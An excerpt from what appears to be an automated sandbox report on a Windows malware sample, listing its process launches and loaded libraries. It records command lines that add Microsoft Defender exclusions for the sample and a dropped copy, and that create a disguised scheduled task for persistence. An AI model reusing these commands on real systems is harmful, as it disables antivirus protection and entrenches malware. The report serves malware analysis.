Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe

File read: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe"
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NxmtwwVGOtEdjd" /XML "C:\Users\user\AppData\Local\Temp\tmpB5CB.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process created: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe"
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process created: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NxmtwwVGOtEdjd" /XML "C:\Users\user\AppData\Local\Temp\tmpCD2C.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process created: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe "C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe"
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process created: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe "C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe"
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe"	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe"	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NxmtwwVGOtEdjd" /XML "C:\Users\user\AppData\Local\Temp\tmpB5CB.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process created: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe"	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process created: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe "C:\Users\user\Desktop\LisectAVT_2403002A_16.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NxmtwwVGOtEdjd" /XML "C:\Users\user\AppData\Local\Temp\tmpCD2C.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process created: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe "C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process created: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe "C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe"	Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: dhcpcsvc6.dll
